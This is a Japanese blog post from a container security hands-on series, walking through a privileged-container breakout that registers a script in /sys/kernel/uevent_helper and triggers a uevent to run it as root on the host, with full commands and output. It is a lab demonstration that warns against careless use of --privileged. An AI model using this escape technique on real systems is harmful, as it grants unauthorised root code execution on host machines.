鳩小屋

落書き帳

コンテナセキュリティハンズオン6:Container Breakout

第6弾は特権コンテナをテーマにした演習です。

 

テーマ

docker run –privilegedオプション

uevent_helper

コンテナブレイクアウト

 

補足

 $:ホストOS #:コンテナ内

特権コンテナによるホストOSへのアクセス

特権コンテナは、すべてのケーパビリティを所有し、その他のアクセス制御も無効化されます。cgroupやnamespaceなどが機能しているため、一定の隔離は提供されるものの、権限を組み合わせることでホストOSへのアクセスが可能です。

 

例としてuevent_helperを利用した方法があります。ueventはデバイスが追加/削除されたときに送信されるイベントで、 /sys/kernel/uevent_helperに記載されているプログラムを実行します。これを利用して次のようにホスト側にエスケープできるようです。

 

--privilegedオプションを付与して特権コンテナを実行します。次にホストOSで実行させるスクリプトを用意します。作成したシェルスクリプトのホストOS上のパスを調査します。コンテナ内で作成したシェルスクリプトはホストOSの下記パスに保存されています。
/var/lib/docker/overlay2/33efcf3c0bcee4c02be6f375b084b45aadabcb2ed355158aeaafb632ab9b5be9/diff

シェルスクリプトを登録して、ueventを発生させることでホストOSでシェルスクリプトが実行されます。

$docker run --privileged --rm -it ubuntu:latest bash
root@04326fe1c553:/# cat <<EOF > /cmd
> #!/bin/sh
> ps aux > /tmp/output
> id > /tmp/output2
> find . -type d | sed -e "s/[^-][^¥/]*¥// |/g" -e "s/|¥([^ ]¥)/|-¥1/" > /tmp/output3
> EOF
root@04326fe1c553:/# chmod +x /cmd

root@04326fe1c553:/# mount | grep overlay2
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/MZKPXIQD5IXDQLGB5VEV52YCJT:/var/lib/docker/overlay2/l/5MBROGXKRJIDD2KPTKCMXABNW4:/var/lib/docker/overlay2/l/YRWMD7EOXYG2NAIJVDMFETQ4GM:/var/lib/docker/overlay2/l/IS7VQXSKV355DJZNSKYF2G73ET,upperdir=/var/lib/docker/overlay2/33efcf3c0bcee4c02be6f375b084b45aadabcb2ed355158aeaafb632ab9b5be9/diff,workdir=/var/lib/docker/overlay2/33efcf3c0bcee4c02be6f375b084b45aadabcb2ed355158aeaafb632ab9b5be9/work)

root@04326fe1c553:/# echo  "/var/lib/docker/overlay2/33efcf3c0bcee4c02be6f375b084b45aadabcb2ed355158aeaafb632ab9b5be9/diff/cmd" > /sys/kernel/uevent_helper

root@04326fe1c553:/# echo change > /sys/class/mem/null/uevent
実行されたシェルスクリプトの出力をホストOSから確認します。
$ head /tmp/output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.5 125656 5604 ? Ss 09:22 0:02 /usr/lib/systemd/systemd --switched-root --system --deserialize
21
root 2 0.0 0.0 0 0 ? S 09:22 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< 09:22 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< 09:22 0:00 [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S 09:22 0:00 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I 09:22 0:00 [rcu_sched]
root 9 0.0 0.0 0 0 ? I 09:22 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S 09:22 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S 09:22 0:00 [watchdog/0]
[root@ip-10-0-1-147 ~]# head /tmp/output2
uid=0(root) gid=0(root) groups=0(root)

$ head /tmp/output3
.
|-dev
| |-input
| | |-by-path
| |-vfio
| |-net
| |-hugepages
| |-mqueue
| |-disk
| | |-by-path
/tmp/outputなど、ホストOSのファイルシステムに書込みができていて、プロセスやディレクトリ構成を参照できていることが確認できます。このように特権コンテナを利用すると、ホストOSで任意のコード実行が可能になるため、不用意に使用してはいけません。このほかにもコンテナブレイクアウトの手法がいくつかあるようです。

後片付け

作業が終わったら不要なコンテナは削除しましょう。

#すべてのコンテナを停止
docker stop `docker ps -a -q`
#すべてのコンテナを削除
docker rm `docker ps -a -q`